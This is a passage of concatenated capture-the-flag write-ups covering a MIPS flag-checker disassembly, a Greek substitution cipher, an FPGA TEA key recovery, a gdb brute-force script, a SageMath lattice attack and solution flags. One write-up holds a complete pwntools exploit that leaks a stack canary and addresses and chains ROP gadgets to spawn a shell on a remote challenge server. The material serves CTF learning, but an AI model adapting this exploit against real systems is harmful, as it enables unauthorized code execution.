(int j=0; j<9; ++j) { ; perm[j] = tbl_A[tbl_B[9*i + j]]; ; } ; ; if (!is_valid_perm(perm)) ; return 0; ; } ; ; return 1; ; --------------------------------------------------------------------------- 0x00400580: save 48,fp,ra ; prolog 0x00400584: addiu fp,sp,-4048 ; 0x00400588: sw zero,12(sp) ; 0x0040058a: sw zero,16(sp) ; 0x0040058c: sb zero,20(sp) ; 0x00400590: sw zero,28(sp) ; 0x00400592: bc0x4005e0 ; goto LOOP_END:
LOOP: 0x00400594: sw zero,24(sp) ; var_18 = 0 (j) 0x00400596: bc 0x4005c6 ; goto INNER_LOOP_END
INNER_LOOP: 0x00400598: lw a2,28(sp) ; a2 = var_1c (i) 0x0040059a: move a3,a2 ; a3 = i 0x0040059c: sll a3,a3,3 ; a3 <<= 3 0x0040059e: addu a3,a3,a2 ; a3 = i*9 0x004005a0: lapc a2,0x420054 ; a2 = tbl_B 0x004005a4: addu a2,a3,a2 ; a2 = &tbl_B[9*i] 0x004005a6: lw a3,24(sp) ; 0x004005a8: addu a3,a2,a3 ; a3 = &tbl_B[9*i + j] 0x004005aa: lbu a3,0(a3) ; a3 = tbl_B[9*i + j] (byte) 0x004005ac: move a2,a3 ; 0x004005ae: lapc a3,0x420000 ; a3 = tbl_A 0x004005b2: addu a3,a2,a3 ; 0x004005b4: lbu a2,0(a3) ; a2 = tbl_A[tbl_B[9*i + j]]
0x004005b6: lw a3,24(sp) ; a3 = var_18 (j) 0x004005b8: addiu a1,sp,32 ; a1 = var_20 0x004005ba: addu a3,a1,a3 ; a3 = &var_20[j] 0x004005bc: sb a2,-20(a3) ; var_c[j] = tbl_A[tbl_B[9*i + j]]
0x004005c0: lw a3,24(sp) ; 0x004005c2: addiu a3,a3,1 ; ++var_18 (j) 0x004005c4: sw a3,24(sp) ;
INNER_LOOP_END: 0x004005c6: lw a3,24(sp) ; a3 = var_18 0x004005c8: bltic a3,9,0x400598 ; if var_18 < 9 goto INNER_LOOP 0x004005cc: addiu a3,sp,12 ; 0x004005ce: move a0,a3 ; 0x004005d0: balc 0x4004c6 ; retval = is_valid_perm(var_c) 0x004005d2: move a3,a0 ; 0x004005d4: bnezc a3,0x4005da ; if retval != 0 goto NEXT_ITER 0x004005d6: move a3,zero ; 0x004005d8: bc 0x4005e8 ; return 0
NEXT_ITER: 0x004005da: lw a3,28(sp) ; 0x004005dc: addiu a3,a3,1 ; ++var_1c (i) 0x004005de: sw a3,28(sp) ;
LOOP_END: 0x004005e0: lw a3,28(sp) ; 0x004005e2: bltic a3,9,0x400594 ; if var_1c < 9 goto LOOP 0x004005e6: li a3,1 ; 0x004005e8: move a0,a3 ; return 1 0x004005ea: restore.jrc 48,fp,ra ;
; --------------------------------------------------------------------------- ; is_valid_col_perm() ; ; /** Decompiled Code **/ ; for (int i=0; i<9; ++i) { ; for (int j=0; j<9; ++j) { ; perm[j] = tbl_A[9*j + i]; ; } ; ; if (!is_valid_perm(perm)) ; return 0; ; } ; ; return 1; ; --------------------------------------------------------------------------- 0x004005ee: save 48,fp,ra ; prolog 0x004005f2: addiu fp,sp,-4048 ; 0x004005f6: sw zero,12(sp) ; 0x004005f8: sw zero,16(sp) ; 0x004005fa: sb zero,20(sp) ; 0x004005fe: sw zero,28(sp) ; 0x00400600: bc 0x400644 ; goto LOOP_ENDLOOP: 0x00400602: sw zero,24(sp) ; var_18 = 0 (j) 0x00400604: bc 0x40062a ; goto INNER_LOOP_END
INNER_LOOP: 0x00400606: lw a2,24(sp) ; 0x00400608: move a3,a2 ; 0x0040060a: sll a3,a3,3 ; 0x0040060c: addu a2,a3,a2 ; a2 = 9*j 0x0040060e: lw a3,28(sp) ; a3 = i 0x00400610: addu a2,a2,a3 ; 0x00400612: lapc a3,0x420000 ; 0x00400616: addu a3,a2,a3 ; 0x00400618: lbu a2,0(a3) ; a2 = tbl_A[9*j + i] (byte) 0x0040061a: lw a3,24(sp) ; 0x0040061c: addiu a1,sp,32 ; 0x0040061e: addu a3,a1,a3 ; 0x00400620: sb a2,-20(a3) ; var_c[j] = tbl_A[9*j + i]
0x00400624: lw a3,24(sp) ; 0x00400626: addiu a3,a3,1 ; ++j 0x00400628: sw a3,24(sp) ;
INNER_LOOP_END: 0x0040062a: lw a3,24(sp) ; 0x0040062c: bltic a3,9,0x400606 ; if j < 9 goto INNER_LOOP
0x00400630: addiu a3,sp,12 ; 0x00400632: move a0,a3 ; 0x00400634: balc 0x4004c6 ; retval = is_valid_perm(var_c) 0x00400636: move a3,a0 ; 0x00400638: bnezc a3,0x40063e ; if retval == 0 goto NEXT_INNER_ITER 0x0040063a: move a3,zero ; 0x0040063c: bc 0x40064c ; goto FUNC_EPILOG & return 0
NEXT_INNER_ITER: 0x0040063e: lw a3,28(sp) ; 0x00400640: addiu a3,a3,1 ; ++i 0x00400642: sw a3,28(sp) ;
LOOP_END: 0x00400644: lw a3,28(sp) ; 0x00400646: bltic a3,9,0x400602 ; if i < 9 goto LOOP 0x0040064a: li a3,1 ; return 1
FUNC_EPILOG: 0x0040064c: move a0,a3 ; epilog 0x0040064e: restore.jrc 48,fp,ra ;
; --------------------------------------------------------------------------- ; is_valid_row_perm() ; ; /** Decompiled Code **/ ; for (int i=0; i<9; ++i) { ; for (int j=0; j<9; ++j) { ; perm[j] = tbl_A[9*i + j]; ; } ; ; if (!is_valid_perm(perm)) ; return 0; ; } ; ; return 1; ; --------------------------------------------------------------------------- 0x00400652: save 48,fp,ra ; prolog 0x00400656: addiu fp,sp,-4048 ; 0x0040065a: sw zero,12(sp) ; 0x0040065c: sw zero,16(sp) ; 0x0040065e: sb zero,20(sp) ; 0x00400662: sw zero,28(sp) ; 0x00400664: bc 0x4006a8 ; goto LOOP_END
LOOP: 0x00400666: sw zero,24(sp) ; j = 0 0x00400668: bc 0x40068e
INNER_LOOP: 0x0040066a: lw a2,28(sp) ; 0x0040066c: move a3,a2 ; 0x0040066e: sll a3,a3,3 ; 0x00400670: addu a2,a3,a2 ; a2 = 9*i 0x00400672: lw a3,24(sp) ; 0x00400674: addu a2,a2,a3 ; a2 = 9*i + j 0x00400676: lapc a3,0x420000 ; 0x0040067a: addu a3,a2,a3 ; 0x0040067c: lbu a2,0(a3) ; a2 = tbl_A[9*i + j] (byte) 0x0040067e: lw a3,24(sp) ; 0x00400680: addiu a1,sp,32 ; 0x00400682: addu a3,a1,a3 ; 0x00400684: sb a2,-20(a3) ; var_c[j] = tbl_A[9*i + j] 0x00400688: lw a3,24(sp) ; 0x0040068a: addiu a3,a3,1 ; ++j 0x0040068c: sw a3,24(sp) ;
INNER_LOOP_END: 0x0040068e: lw a3,24(sp) ; 0x00400690: bltic a3,9,0x40066a ; if j < 9 goto INNER_LOOP
0x00400694: addiu a3,sp,12 ; 0x00400696: move a0,a3 ; 0x00400698: balc 0x4004c6 ; retval = is_valid_perm(var_c) 0x0040069a: move a3,a0 ; 0x0040069c: bnezc a3,0x4006a2 ; if retval != 0 goto NEXT_INNER_ITER 0x0040069e: move a3,zero ; 0x004006a0: bc 0x4006b0 ; else return 0 & goto FUNC_EPILOG
NEXT_INNER_ITER: 0x004006a2: lw a3,28(sp) ; 0x004006a4: addiu a3,a3,1 ; ++i 0x004006a6: sw a3,28(sp) ;
LOOP_END: 0x004006a8: lw a3,28(sp) ; 0x004006aa: bltic a3,9,0x400666 ; if i < 9 goto LOOP 0x004006ae: li a3,1 ;
FUNC_EPILOG: 0x004006b0: move a0,a3 ; 0x004006b2: restore.jrc 48,fp,ra ;
; --------------------------------------------------------------------------- ; check_permutations() ; ; /** Decompiled Code **/ ; return (gen_valid_double_perm() && ; gen_valid_col_perm() && ; get_valid_row_perm()); ; --------------------------------------------------------------------------- 0x004006b6: save 16,fp,ra ; prolog 0x004006ba: addiu fp,sp,-4080 ; 0x004006be: balc 0x400580 ; rval1 = is_valid_double_perm() 0x004006c0: move a3,a0 ; 0x004006c2: bnezc a3,0x4006c8 ; if rval1 != 0 goto CHECK_2 0x004006c4: move a3,zero ; 0x004006c6: bc 0x4006de ; else return 0
CHECK_2: 0x004006c8: balc 0x4005ee ; rval2 = is_valid_col_perm() 0x004006ca: move a3,a0 ; 0x004006cc: bnezc a3,0x4006d2 ; if rval2 != 0 goto CHECK_3 0x004006ce: move a3,zero ; 0x004006d0: bc 0x4006de ; else return 0
CHECK_3: 0x004006d2: balc 0x400652 ; rval3 = is_valid_row_perm() 0x004006d4: move a3,a0 ; 0x004006d6: bnezc a3,0x4006dc ; if rval3 != 0 goto SUCCESS 0x004006d8: move a3,zero ; 0x004006da: bc 0x4006de ; else return 0
SUCCESS: 0x004006dc: li a3,1 ; retval = 1
RETURN: 0x004006de: move a0,a3 ; 0x004006e0: restore.jrc 16,fp,ra ; epilog
; -------------------------------------------------------------------------- ; main ; ; /** Decompiled Code **/ ; ; memset(flag, 0, 0x5A); ; read(0, flag, 0x3E); ; if (flag[0x3D] != '}' || strncmp("flag{", flag, 5)) { ; puts("Wrong"); ; } ; ; j = -1; ; for (int i=5; i<0x3D; ++i) { ; while (tbl_A[++j]); ; ; tbl_A[j] = flag[i]; ; } ; ; if (check_permutations()) { ; puts("Right"); ; } else { ; puts("Wrong"); ; } ; -------------------------------------------------------------------------- 0x004006e4: save 128,fp,ra,gp ; prolog 0x004006e8: addiu fp,sp,-3968 ; 0x004006ec: lapc gp,0x4200ac ; gp = .got 0x004006f0: addiu a3,sp,12 ; a3 = sp + 0xc = var_c = flag 0x004006f2: li a2,90 ; a2 = 0x5A 0x004006f4: movep a0,a1,a3,zero ; a0 = a3, a1 = 0 0x004006f6: lw a3,48(gp) ; a3 = .got[0x30] = memset 0x004006fa: jalrc a3 ; memset(flag, 0, 0x5A) 0x004006fc: addiu a3,sp,12 ; a3 = flag 0x004006fe: li a2,62 ; a2 = 0x3E 0x00400700: movep a0,a1,zero,a3 ; a0 = 0, a1 = a3 0x00400702: lw a3,36(gp) ; a3 = .got[0x24] = read 0x00400706: jalrc a3 ; read(0, flag, 0x3E) 0x00400708: lbu a3,73(sp) ; a3 = flag[-1] 0x0040070c: bneic a3,125,0x40077c ; if a3 != 0x7D ('}') goto BAD_BOY_2
BASE_CHECK_1: 0x00400710: addiu a3,sp,12 ; a3 = flag 0x00400712: li a2,5 ; a2 = 5 0x00400714: lapc a1,0x400800 ; a1 = "flag{" 0x00400718: move a0,a3 ; 0x0040071a: lw a3,40(gp) ; a3 = .got[0x28] = strncmp 0x0040071e: jalrc a3 ; strncmp("flag{", flag, 5) 0x00400720: move a3,a0 ; a3 = retval 0x00400722: bnezc a3,0x40077c ; if retval != 0 goto BAD_BOY_2
MAIN_ALGO: 0x00400724: sw zero,108(sp) ; v_108 = 0 (j) 0x00400726: li a3,5 ; a3 = 5 0x00400728: sw a3,104(sp) ; v_104 = a3 0x0040072a: bc 0x400758 ; goto LOOP_END
LOOP_INC_J: 0x0040072c: lw a3,108(sp) ; a3 = v_108 = j 0x0040072e: addiu a3,a3,1 ; ++a3 0x00400730: sw a3,108(sp) ; v_108 = a3 (++j)
INNER_LOOP: 0x00400732: lapc a2,0x420000 ; a2 = tbl_A 0x00400736: lw a3,108(sp) ; 0x00400738: addu a3,a2,a3 ; 0x0040073a: lbu a3,0(a3) ; a3 = tbl_A[j] 0x0040073c: bnezc a3,0x40072c ; if tbl_A[j] != 0 goto LOOP_INC_J
0x0040073e: lw a3,104(sp) ; a3 = i 0x00400740: addiu a2,sp,112 ; 0x00400742: addu a3,a2,a3 ; 0x00400744: lbu a2,-100(a3) ; a2 = flag[i] 0x00400748: lapc a1,0x420000 ; a1 = tbl_A 0x0040074c: lw a3,108(sp) ; 0x0040074e: addu a3,a1,a3 ; 0x00400750: sb a2,0(a3) ; tbl_A[j] = flag[i] (BYTE)
0x00400752: lw a3,104(sp) ; 0x00400754: addiu a3,a3,1 ; ++i 0x00400756: sw a3,104(sp) ;
LOOP_END: 0x00400758: lw a3,104(sp) ; 0x0040075a: bltic a3,61,0x400732 ; if i < 0x3D goto INNER_LOOP 0x0040075e: balc 0x4006b6 ; retval = check_permutations() 0x00400760: move a3,a0 ; 0x00400762: beqzc a3,0x400770 ; if retval == 0 goto BAD_BOY_1
GOOD_BOY: 0x00400764: lapc a0,0x400808 ; a0 = "Right" 0x00400768: lw a3,44(gp) ; ; a3 = .got+0x2c = puts 0x0040076c: jalrc a3 ; puts("Right") 0x0040076e: bc 0x400786 ; goto END
BAD_BOY_1: 0x00400770: lapc a0,0x400810 ; a0 = "Wrong" 0x00400774: lw a3,44(gp) ; 0x00400778: jalrc a3 ; puts("Wrong") 0x0040077a: bc 0x400786 ; goto END
BAD_BOY_2: 0x0040077c: lapc a0,0x400810 ; a0 = "Wrong" 0x00400780: lw a3,44(gp) ; 0x00400784: jalrc a3 ; puts("Wrong")END: 0x00400786: move a3,zero ; 0x00400788: move a0,a3 ; return 0 0x0040078a: restore.jrc 128,fp,ra,gp ;```
The decompiled program (in **C**) is shown below:```Cint is_valid_perm(char *perm) { /* check if a string is a valid permutation of 'zxcasdqwe' */}
byte *tbl_B = { 0x00, 0x01, 0x02, 0x03, 0x0a, 0x0c, 0x0d, 0x0e, 0x13, 0x04, 0x05, 0x06, 0x0f, 0x18, 0x19, 0x21, 0x2a, 0x33 0x07, 0x08, 0x10, 0x11, 0x1a, 0x22, 0x23, 0x2b, 0x34 0x09, 0x12, 0x1b, 0x24, 0x2d, 0x36, 0x37, 0x3f, 0x48 0x0b, 0x14, 0x15, 0x1c, 0x1d, 0x1e, 0x25, 0x2e, 0x27 0x16, 0x17, 0x1f, 0x20, 0x28, 0x31, 0x3a, 0x42, 0x43 0x26, 0x2f, 0x30, 0x38, 0x39, 0x40, 0x41, 0x49, 0x4a 0x29, 0x32, 0x3b, 0x3c, 0x3d, 0x44, 0x4b, 0x4c, 0x4d 0x2c, 0x35, 0x3e, 0x45, 0x46, 0x47, 0x4e, 0x4f, 0x50}
byte *tbl_A = { 0x00, 0x00, 0x77, 0x00, 0x00, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0x77, 0x00, 0x00, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x00, 0x00, 0x65, 0x00, 0x77, 0x00, 0x71, 0x00, 0x61, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x00, 0x7a, 0x64, 0x00, 0x00, 0x73, 0x77, 0x71, 0x00, 0x00, 0x00, 0x00, 0x77, 0x00, 0x00, 0x73, 0x78, 0x00, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7a, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x78}
int is_valid_double_perm() { byte perm[9];
for (int i=0; i<9; ++i) { for (int j=0; j<9; ++j) { perm[j] = tbl_A[tbl_B[9*i + j]]; }
if (!is_valid_perm(perm)) return 0; }
return 1;}
int is_valid_col_perm() { byte perm[9];
for (int i=0; i<9; ++i) { for (int j=0; j<9; ++j) { perm[j] = tbl_A[9*j + i]; }
if (!is_valid_perm(perm)) return 0; }
return 1;}
int is_valid_row_perm() { byte perm[9];
for (int i=0; i<9; ++i) { for (int j=0; j<9; ++j) { perm[j] = tbl_A[9*i + j]; }
if (!is_valid_perm(perm)) return 0; }
return 1;}
int check_permutations() { return (gen_valid_double_perm() && gen_valid_col_perm() && get_valid_row_perm());}
int main(int argc, char* argv[]) memset(flag, 0, 0x5A); read(0, flag, 0x3E); if (flag[0x3D] != '}' || strncmp("flag{", flag, 5)) { puts("Wrong"); }
j = -1; for (int i=5; i<0x3D; ++i) { while (tbl_A[++j]);
tbl_A[j] = flag[i]; }
if (check_permutations()) { puts("Right"); } else { puts("Wrong"); }
return 0;}```
### Cracking the code
Looking at the decompiled version, program reads a flag and fills the empty cells of a `9x9` table.Then it runs 3 types of checks:* Check #1: All rows must have the letters `zxcasdqwe` exactly once.* Check #2: All columns must have the letters `zxcasdqwe` exactly once.* Check #3: A set of 9 random subset that do not intersect must have the letters `zxcasdqwe` exactly once.
Since there are too many restrictions to fill up this table, we can do a DFS brute-force withbacktracking. After few seconds, we get the flag:```flag{zacedxqsxaqezcscxwzqeczsxddqsxczwaqexczxacdeweasqccsqzae}```
For more details please take a look at [babymips_crack.py](./babymips_crack.py)
___
|
# Greek Cipher
## Description```crypto/greek cipherburturt323 solves / 254 points
You think you've seen all of the "classic" ciphers? Instead of your standard cipher, I've created my own cipher: the monoalphagreek cipher!
Answer with just the flag in lowercase with symbols left in.```
With this challenge we get a text file, which contains greek symbols.
```κςκ ωπν αζπλ ιησι χνοςνθ μσγθσρ λσθ ζπι ιηγ δςρθι ψγρθπζ ςζ ηςθιπρω θνθψγμιγκ πδ νθςζε γζμρωψιςπζ? τγ ζγςιηγρ. κςκωπν αζπλ ιησι χνοςνθ μσγθσρ λσθ ψρπξσξοω δονγζι ςζ εργγα? τγ ζγςιηγρ. ς οςαγ ηπλ εργγα μησρσμιγρ οππα ιηπνεη, γυγζςδ ς μσζ'ι ργσκ ιηγτ. οσμιδ{ς_ενγθθ_νθςζε_τσζω_εργγα_μησρσμιγρθ_κςκζ'ι_θιπψ_ωπν._λγοο_ψοσωγκ_ς_τνθι_θσω.μπζερσιθ!}```
## Solution
Looking at the file we can say that this is most likely a substitution cipher. So every letter of the cleartext alphabet always gets translated to a greek letter it is paired with. At the end of the file we can recognise the structure of the flag with the five letters in front and the curly braces and underscores. Also, because of the leading text, we probably have enough letters to crack this with a frequency analysis. This wouldn't be much of a problem, there is websites which can even automatically do this for you, but the greek letters break a lot of these sites, so I had to find a way to convert the greek letters into ascii. For that purpose I wrote a little python script, which looks at the ascii values of every letter and when they are higher than 900 - greek letters range somewhere between 900 and 1000 - then they are shifted down so that the lowest greek letter used becomes an uppercase `A`.
```pythonLOWEST_GREEK_LETTER_VALUE = 945ASCII_A = ord("A")
with open("greek.txt") as f: text = [chr(ord(letter) - LOWEST_GREEK_LETTER_VALUE + ASCII_A) if (ord(letter) > 900) else letter for letter in f.readline().strip('\n')]
print("".join(text))```
This converts the greek letters to ascii:
```JRJ YPM AFPK IGSI WMORMH LSCHSQ KSH FPI IGC DRQHI XCQHPF RF GRHIPQY HMHXCLICJ PD MHRFE CFLQYXIRPF? TC FCRIGCQ. JRJYPM AFPK IGSI WMORMH LSCHSQ KSH XQPNSNOY DOMCFI RF EQCCA? TC FCRIGCQ. R ORAC GPK EQCCA LGSQSLICQ OPPA IGPMEG, CUCFRD R LSF'I QCSJ IGCT. OSLID{R_EMCHH_MHRFE_TSFY_EQCCA_LGSQSLICQH_JRJF'I_HIPX_YPM._KCOO_XOSYCJ_R_TMHI_HSY.LPFEQSIH!}```
Of course this can be solved by hand and I wouldn't even have had to write this converter, but I am lazy and don't want to do this by hand so I found [a website](https://www.boxentriq.com/code-breaking/cryptogram) that can solve this for me. There is a button on the website that lets us autosolve the cipher, I tried it out afterwards and it worked, but I like reversing so I solved it semi-automatic. The way this works is: You start off translaiting known characters - in this case we know, that the five letters in the last line in front of the opening curly bracket are `lactf`. Now these letters also exist in other parts of the text and sometimes make up such a big portion of the word, that you can guess that word, too. This becomes more and more easy the more characters you have guessed and before you know it you have the plaintext in front of you.

So we already have the text and after putting it into the correct format we get:
lactf{i_guess_using_many_greek_characters_didn't_stop_you._well_played_i_must_say.congrats!} |
Original Writeup at: https://github.com/berndoJ/revenge-of-lllattice-writeup
## TL;DR
As no team solved this challenge during the CTF, we decided to create a detailedwriteup. For those who just want to know the overall steps - here's a TL;DR:
- Identify the FPGA bitstream part from `xxd` and google to find out it's a lattice FPGA.- Use `ecpunpack` ([Project Trellis](https://github.com/YosysHQ/prjtrellis)) and VoidMercy's [Lattice ECP5 Bitstream Decompiler](https://github.com/VoidMercy/Lattice-ECP5-Bitstream-Decompiler) to "decompile" the bitstream into Verilog.- Use `yosys` to simplify and clean up the Verilog file, reduces line count from over 650K to ~60K.- Get a RTL schematic using a toolchain like Vivado to find out what the inputs and outputs of the FPGA are used for (UART TX/RX, reset, clock).- Code a testbench in Verilog to be able to communicate with the FPGA over UART and send/receive data -> it encrypts 8-byte blocks and sends them back over UART. Through changing the input we give to the FPGA we can also find out that the encryption method used is a ECB block cipher.- Use a timeline analysis tool (Vivado or iverilog with GTKWave) to find out that the encryption happens over 32 clock cyles -> the block cipher most likely has 32 rounds. 64-bit, 32 rounds -> this could be TEA!- Use the RTL-schematic and statistical analysis (or other methods) to find out which FFs correspond to which bit in which encryption round (only first two rounds needed). By statical analysis on the schematic we can also further confirm our guess that the algo used is TEA because we find two 32-bit adders between each encryption stage.- Extract the two 32-bit data words for two consecutive TEA rounds and use bruteforce to find out the encryption keys -> `b'bocchi za rock!\x00'`- Decrypt the `flag.enc` file with this key and obtain the flag: `pbctf{amazing job! now go enjoy an after school tea time break!}` |
```00401000 int64_t _start() __noreturn
00401017 syscall(sys_write {1}, fd: 1, buf: "Give me the flag: That was not t…", count: 0x12)00401025 int64_t rax = syscall(sys_read {0}, fd: 0, buf: &__return_addr, count: 0x64)0040102b if (rax == 0x40)0040102d int64_t r12_1 = 00040103e for (int64_t r10_1 = 0; r10_1 s< rax; r10_1 = r10_1 + 1)0040104d int64_t r8_2 = rol.q(*((zx.q(*(&__return_addr + r10_1)) << 3) + 0x40203c), 8)00401051 uint64_t r13_1 = zx.q(r8_2.b)00401055 int64_t r14_1 = 00040105b while (true)0040105b if (r14_1 s>= r13_1)0040106b r12_1 = r12_1 + 10040106b break0040105d r8_2 = rol.q(r8_2, 8)00401064 if (r8_2.b == r10_1.b)00401064 break00401066 r14_1 = r14_1 + 100401076 if (r12_1 == 0)00401089 return sub_40109a(0, &data_40202a, 0x12) __tailcall // win00401098 return sub_40109a(0, "That was not the flag :(That was…", 0x18) __tailcall```
input string of len 0x3f (0x40 with \n), then each char is checked i dont care/know how but:- every incorrect flag char increment r12 register- at the end, if r12 == 0, it's a win
so we can bruteforce each char using a gdb script:
```pythonimport gdbimport string
passlen = 0x40break_addr = 0x00401073
code = ["_"]*passlenprintable = string.printable[:-5]
def gdb_run_with_stdin(pwd): with open('_cracking', 'w') as f: f.write(pwd)
gdb.execute('run < _cracking')
def read_reg(reg): return gdb.parse_and_eval("${}".format(reg))
def gdb_continue(): gdb.execute('continue')
gdb.execute('break *{}'.format(break_addr))
errors = -1for trial in range(passlen): for c in range(0x21, 0x7E+1): code[trial] = chr(c)
print("trying: %s"%''.join(code))
gdb_run_with_stdin(''.join(code)) res = int(read_reg("r12")) if errors == -1: errors = res continue
if res > errors: errors = res
if res < errors: print('FOUND: %s'%''.join(code)) errors = res break
print(''.join(code))```
```% gdb switcheroo pwndbg> source lolz.py//// wait for ittrying: lactf{4223M8LY_5W17Ch_57473M3n75_4r3_7h3_4850LU73_8357_u+1f60az_Give me the flag: Breakpoint 1, 0x0000000000401073 in ?? ()trying: lactf{4223M8LY_5W17Ch_57473M3n75_4r3_7h3_4850LU73_8357_u+1f60a{_Give me the flag: Breakpoint 1, 0x0000000000401073 in ?? ()trying: lactf{4223M8LY_5W17Ch_57473M3n75_4r3_7h3_4850LU73_8357_u+1f60a|_Give me the flag: Breakpoint 1, 0x0000000000401073 in ?? ()trying: lactf{4223M8LY_5W17Ch_57473M3n75_4r3_7h3_4850LU73_8357_u+1f60a}Give me the flag: Breakpoint 1, 0x0000000000401073 in ?? ()FOUND: lactf{4223M8LY_5W17Ch_57473M3n75_4r3_7h3_4850LU73_8357_u+1f60a}_ |
Please see the original writeup which was written Korean.```pythonfrom pwn import *
context.arch = 'amd64'context.log_level = 'DEBUG'
e = ELF('./chall')# p = process('./chall')p = remote('typop.chal.idek.team', 1337)libc = ELF('./libc.so.6')
# (1) canary, stack leakp.sendlineafter('survey?\n', 'y')p.sendafter('ctf?\n', 'A'*10 + 'B')
p.recvuntil('B')canary = u64(b'\x00' + p.recv(7))stack = u64(p.recv(6).ljust(8, b'\x00'))info('canary: '+ hex(canary))info('stack: ' + hex(stack))
p.sendafter('feedback?\n', b'A'*10 + p64(canary))
# (2) pie base leakp.sendlineafter('survey?\n', 'y')p.sendafter('ctf?\n', b'A'*10 + b'B'*8 + b'C'*7 + b'D')
p.recvuntil('D')e.address = u64(p.recv(6).ljust(8, b'\x00')) - 0x1447info('pie base: ' + hex(e.address))
info(hex(e.address+0x14d3))pop_rdi = e.address + 0x14d3ret = e.address + 0x101a
payload = b''payload += b'A' * (0x12-0x8)payload += p64(canary)payload += b'B' * 0x8payload += p64(pop_rdi)payload += p64(e.got['puts'])payload += p64(ret)payload += p64(e.plt['printf'])payload += p64(ret)payload += p64(e.address + 0x1410) # main
p.sendafter('feedback?\n', payload)
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x84420info(hex(libc.address))
# (3) system('/bin/sh\x00')p.sendlineafter('survey?\n', 'y')p.sendafter('ctf?\n', b'A')
payload = b''payload += b'A' * (0x12-0x8)payload += p64(canary)payload += b'B' * 0x8payload += p64(pop_rdi)payload += p64(next(libc.search(b'/bin/sh\x00')))payload += p64(ret)payload += p64(libc.sym['system'])
p.sendafter('feedback?\n', payload)
p.interactive()``` |
First of all, I needed to recover the prime `p`.I used the third output constructed from the point with x-coordinate `hint`; I knew that `hint` would therefore have to be a zero for the polynomial that is the x-part of this output.Therefore, I could just set `x=hint` and factor the result:
```y = var("y")hint = int.from_bytes(b"Inspired by theoremoon's SECCON 2022 Finals Challenge - Hell. Thank you!", "big")outputs = [(x^2 + 14762123602851553604749022996287576858980220577795651427829269858766434621297346961387874961427459051934768224338447011128244905975068497090840444625419470*x + 8519674750729750620690035589812482119785861876353468044895414394332293279114303071755954851101633319350193436546144692795403444364414318973131157246232656, y + 17770738679279057916355557895675090129563269633432826251932824463003364931275912702916209480950481351904761364290424406482997835483807402182326014818733821*x + 12306668467523337827805393760490897581559948654643366727345701375757143864825442910779617850907143245102792529282031529618639723158417652048624567379151171),(x^3 + 13441279154284544764330805782065565325543470739559917045273482055514440837785754044182874902421009026981197721504820302867945812937528249594953326223176272*x^2 + 3795282115520834934850220740151212731596814319504043674340537364041453624883995759365119899076774262882230308591629439035308527946872182029742910504122735*x + 3726617245981099594981815385059428688276726297460965450328320328460867196111587736356492934195556032891106446058683147130913147722036293641303193921962091, y + 2103349591221335944593862709600493681857281410337020721978302326614691696399677635217262732543672829811190387220058078405239568477387817550236173432744263*x^2 + 4784247634355946154999459446762911004042472267922959302672838559247991353014786987556174410735592161587023899368989617780068662559773261109676326152316907*x + 2640959823121300693709616791657128464111647959613642856293592234010564318329382577397798309822254798484629398268742247779165733848105319417195858443049412),(x + 540914350057159927735436910109553086959907629357396102386062800609858847095404691934517983640846787552171946520460064397364544720996858815571065665255645, y + 541917331856005964100090629475512429550322452567752818120774876171019476274441296070275457561095853517207532108745504694853066426720092700847788666013730)]
possible_p = [i[0] for i in factor(outputs[2][0](x=hint)) if i[0].bit_length()==513]assert len(possible_p) == 1p = possible_p[0]print(f"p recovered: {p}")```
The next challenge was to recover $f_1$ and $f_2`$Denoting the divisors as $[(u_1,v_1), (u_2,v_2), (u_3,v_3)]$, I knew that $f_1 \equiv v_1^2 \mod u_1$, $f_2 \equiv v_2^2 \mod u_2$, $f_2 \equiv v_3^2 \mod u_3$ by the basic properties of the Mumford representation of divisors. Using CRT, I could recover $f_2$ modulo $\text{lcm}(u_2, u_3)=u_2\cdot u_3$.
Now write $f_1 = f_2 + sx^7 + tx^6$.By CRT again (using that $u_3$ is coprime to $u_1\cdot u_2$), we can find $S,T,U$ such that:
$$S \equiv 0 \mod u_0 \\S \equiv x^7 \mod u_1 \cdot u_2 \\T \equiv 0 \mod u_0 \\T \equiv x^6 \mod u_1 \cdot u_2 \\U \equiv f_1 \mod u_0\\U \equiv f_2 \mod u_1 \cdot u_2$$
Then consider $P := U - sS - tT$. Then on one hand, $P \equiv f_1 + 0s + 0t= f_1\mod u_0$, but on the other $P \equiv f_2 - sx^7 - tx^6 = f_1 \mod u_1\cdot u_2$, so it follows that $P \equiv f_1 \mod u_0\cdot u_1 \cdot u_2$.
But because $\deg f_1 = 5 < 6 = \deg (u_0\cdot u_1 \cdot u_2)$, we have $P = f_1$ (in $GF(p)[x]$) already.
Consider now the vectors$$U\|\|(C,0,0), S\|\|(0,1,0), T\|\|(0,0,1)$$$$(p,0,0,\ldots,0)\|\|(0,0,0), (0,p,0,\ldots,0)\|\|(0,0,0), \ldots, (0,0,0,\ldots,p)\|\|(0,0,0)$$in $\mathbb{Z}^9$, where we identify polyonimals (of degree $\leq 5$) with their coefficient vector in $\mathbb{Z}^6$ and $C$ is a large-ish constant (I chose $C=10^{50}$).
Then clearly, $f_1 \|\| (C, -s, -t)$ is an integral linear combination of those vectors.
Fortunately, this vector is rather small, as the coeffients of $f_1$ and $f_2$ are only 336 bits large, significantly smaller than the 513-bit $p$.Thus, we can use LLL to find this vector, and recover $f_1$ and $f_2$:
```F = GF(p)PR.<x> = PolynomialRing(F)outputs = [(PR(i[0]),PR(y-i[1])) for i in outputs][(u1,v1),(u2,v2),(u3,v3)]=outputsA = crt([v2**2,v3**2],[u2,u3])U = crt([v1**2,A],[u1,u2*u3])S=crt([0,x**7],[u1,u2*u3])T=crt([0,x**6],[u1,u2*u3])
L=[]L.append([int(i) for i in S.coefficients()]+[1,0,0])L.append([int(i) for i in T.coefficients()]+[0,1,0])L.append([int(i) for i in U.coefficients()]+[0,0,10**50])
for i in range(6): L.append(i*[0]+[p]+(5-i+3)*[0])L = matrix(L,ring=ZZ).LLL()
